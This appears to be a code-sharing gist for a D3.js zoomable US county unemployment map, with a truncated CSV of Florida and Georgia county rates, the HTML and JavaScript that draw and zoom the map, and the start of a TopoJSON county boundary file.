12,047,&quot;Hamilton County, FL&quot;,0.051
12,049,&quot;Hardee County, FL&quot;,0.067
12,051,&quot;Hendry County, FL&quot;,0.103
12,053,&quot;Hernando County, FL&quot;,0.068
12,055,&quot;Highlands County, FL&quot;,0.074
12,057,&quot;Hillsborough County, FL&quot;,0.05
12,059,&quot;Holmes County, FL&quot;,0.062
12,061,&quot;Indian River County, FL&quot;,0.068
12,063,&quot;Jackson County, FL&quot;,0.058
12,065,&quot;Jefferson County, FL&quot;,0.058
12,067,&quot;Lafayette County, FL&quot;,0.045
12,069,&quot;Lake County, FL&quot;,0.054
12,071,&quot;Lee County, FL&quot;,0.05
12,073,&quot;Leon County, FL&quot;,0.05
12,075,&quot;Levy County, FL&quot;,0.057
12,077,&quot;Liberty County, FL&quot;,0.057
12,079,&quot;Madison County, FL&quot;,0.062
12,081,&quot;Manatee County, FL&quot;,0.05
12,083,&quot;Marion County, FL&quot;,0.064
12,085,&quot;Martin County, FL&quot;,0.052
12,086,&quot;Miami-Dade County, FL&quot;,0.061
12,087,&quot;Monroe County, FL&quot;,0.035
12,089,&quot;Nassau County, FL&quot;,0.05
12,091,&quot;Okaloosa County, FL&quot;,0.045
12,093,&quot;Okeechobee County, FL&quot;,0.062
12,095,&quot;Orange County, FL&quot;,0.049
12,097,&quot;Osceola County, FL&quot;,0.057
12,099,&quot;Palm Beach County, FL&quot;,0.05
12,101,&quot;Pasco County, FL&quot;,0.058
12,103,&quot;Pinellas County, FL&quot;,0.049
12,105,&quot;Polk County, FL&quot;,0.062
12,107,&quot;Putnam County, FL&quot;,0.072
12,109,&quot;St. Johns County, FL&quot;,0.039
12,111,&quot;St. Lucie County, FL&quot;,0.062
12,113,&quot;Santa Rosa County, FL&quot;,0.048
12,115,&quot;Sarasota County, FL&quot;,0.05
12,117,&quot;Seminole County, FL&quot;,0.048
12,119,&quot;Sumter County, FL&quot;,0.075
12,121,&quot;Suwannee County, FL&quot;,0.055
12,123,&quot;Taylor County, FL&quot;,0.066
12,125,&quot;Union County, FL&quot;,0.048
12,127,&quot;Volusia County, FL&quot;,0.057
12,129,&quot;Wakulla County, FL&quot;,0.046
12,131,&quot;Walton County, FL&quot;,0.046
12,133,&quot;Washington County, FL&quot;,0.059
13,000,Georgia,0.058
13,001,&quot;Appling County, GA&quot;,0.071
13,003,&quot;Atkinson County, GA&quot;,0.056
13,005,&quot;Bacon County, GA&quot;,0.055
13,007,&quot;Baker County, GA&quot;,0.073
13,009,&quot;Baldwin County, GA&quot;,0.078
13,011,&quot;Banks County, GA&quot;,0.054
13,013,&quot;Barrow County, GA&quot;,0.052
13,015,&quot;Bartow County, GA&quot;,0.057
13,017,&quot;Ben Hill County, GA&quot;,0.09
13,019,&quot;Berrien County, GA&quot;,0.07
13,021,&quot;Bibb County, GA&quot;,0.066
13,023,&quot;Bleckley County, GA&quot;,0.091
13,025,&quot;Brantley County, GA&quot;,0.073
13,027,&quot;Brooks County, GA&quot;,0.059
13,029,&quot;Bryan County, GA&quot;,0.052
13,031,&quot;Bulloch County, GA&quot;,0.06
13,033,&quot;Burke County, GA&quot;,0.08
13,035,&quot;Butts County, GA&quot;,0.064
13,037,&quot;Calhoun County, GA&quot;,0.061
13,039,&quot;Camden County, GA&quot;,0.055
13,043,&quot;Candler County, GA&quot;,0.056
13,045,&quot;Carroll County, GA&quot;,0.066
13,047,&quot;Catoosa County, GA&quot;,0.051
13,049,&quot;Charlton County, GA&quot;,0.062
13,051,&quot;Chatham County, GA&quot;,0.057
13,053,&quot;Chattahoochee County, GA&quot;,0.088
13,055,&quot;Chattooga County, GA&quot;,0.062
13,057,&quot;Cherokee County, GA&quot;,0.046
13,059,&quot;Clarke County, GA&quot;,0.059
13,061,&quot;Clay County, GA&quot;,0.113
13,063,&quot;Clayton County, GA&quot;,0.075
13,065,&quot;Clinch County, GA&quot;,0.068
13,067,&quot;Cobb County, GA&quot;,0.05
13,069,&quot;Coffee County, GA&quot;,0.066
13,071,&quot;Colquitt County, GA&quot;,0.064
13,073,&quot;Columbia County, GA&quot;,0.05
13,075,&quot;Cook County, GA&quot;,0.066
13,077,&quot;Coweta County, GA&quot;,0.052
13,079,&quot;Crawford County, GA&quot;,0.061
13,081,&quot;Crisp County, GA&quot;,0.069
13,083,&quot;Dade County, GA&quot;,0.054
13,085,&quot;Dawson County, GA&quot;,0.05
13,087,&quot;Decatur County, GA&quot;,0.067
13,089,&quot;DeKalb County, GA&quot;,0.059
13,091,&quot;Dodge County, GA&quot;,0.083
13,093,&quot;Dooly County, GA&quot;,0.075
13,095,&quot;Dougherty County, GA&quot;,0.077
13,097,&quot;Douglas County, GA&quot;,0.062
13,099,&quot;Early County, GA&quot;,0.068
13,101,&quot;Echols County, GA&quot;,0.047
13,103,&quot;Effingham County, GA&quot;,0.05
13,105,&quot;Elbert County, GA&quot;,0.074
13,107,&quot;Emanuel County, GA&quot;,0.085
13,109,&quot;Evans County, GA&quot;,0.055
13,111,&quot;Fannin County, GA&quot;,0.06
13,113,&quot;Fayette County, GA&quot;,0.051
13,115,&quot;Floyd County, GA&quot;,0.066
13,117,&quot;Forsyth County, GA&quot;,0.044
13,119,&quot;Franklin County, GA&quot;,0.063
13,121,&quot;Fulton County, GA&quot;,0.058
13,123,&quot;Gilmer County, GA&quot;,0.058
13,125,&quot;Glascock County, GA&quot;,0.066
13,127,&quot;Glynn County, GA&quot;,0.06
13,129,&quot;Gordon County, GA&quot;,0.057
13,131,&quot;Grady County, GA&quot;,0.06
13,133,&quot;Greene County, GA&quot;,0.07
13,135,&quot;Gwinnett County, GA&quot;,0.051
13,137,&quot;Habersham County, GA&quot;,0.056
13,139,&quot;Hall County, GA&quot;,0.047
13,141,&quot;Hancock County, GA&quot;,0.1
13,143,&quot;Haralson Cou</code></pre><p><em>Truncated — <a href="https://gist.github.com/3dd69f510085138459f3b2702347563f">view the full gist</a>.</em></p>
<h3>index.html</h3><pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;meta charset=&quot;utf-8&quot;&gt;
&lt;style&gt;
body { background: transparent; }
path { stroke: #333; stroke-width: 1; }
path:hover { stroke-width: 3; }
  #console {
    font-size: 11px;
    font-family: &quot;Courier&quot;, &quot;fixed-width&quot;;
    width: 400px;
    height: 150px;
    position: fixed;
    top: 0;
		left: 0;
    padding: 4px;
    overflow: auto;
    background-color: white;
    border: 2px solid black;
  }
  #console p {
    margin-top: 1px;
    margin-bottom: 0
  }
  svg {
    border: 5px solid red;
  }
  path {
    stroke: white;
  }
&lt;/style&gt;
&lt;body&gt;
&lt;script src=&quot;//cdnjs.cloudflare.com/ajax/libs/d3/3.5.17/d3.min.js&quot;&gt;&lt;/script&gt;
&lt;!-- &lt;script src=&quot;http://d3js.org/queue.v1.min.js&quot;&gt;&lt;/script&gt; --&gt;

&lt;script src=&quot;//d3js.org/topojson.v1.min.js&quot;&gt;&lt;/script&gt;
  
  &lt;div id=&quot;console&quot;&gt;&lt;/div&gt;
  
&lt;svg id=&quot;zoomy-map&quot; width=&quot;400&quot; height=&quot;300&quot;&gt;&lt;/svg&gt;
  
&lt;script&gt;


  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;v0.06&apos;)

  
  
  
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)

  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;width &apos;+width)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;height &apos;+height)


/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
    //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  	svg.append(&apos;rect&apos;)
    .attr(&apos;width&apos;, 100)
    .attr(&apos;height&apos;, 100)
    .attr(&apos;fill&apos;,&apos;red&apos;)
  	.attr(&apos;transform&apos;, &apos;translate(200,200)&apos;)
  
  	//d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)

    states.forEach(function (f,i) {
      
      	if(i&lt;5){ 
            //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;state data &apos;+JSON.stringify(f))
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        f.properties = data.find(function (d) { return d.id === f.id })
    })
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = data.find(function (d) { return d.id === f.id }) || {}
    })

    var statePaths = svg.selectAll(&apos;path&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return color(d.properties.unemployment) 
        })
        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })
    d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&quot;Map paths rendered&quot;)
    d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(d3.select(&apos;#zoomy-map&apos;).html())

    function usZoom() {
      	alert(&quot;US Zoom&quot;);
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
				alert(&quot;State Zoom&quot;);
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;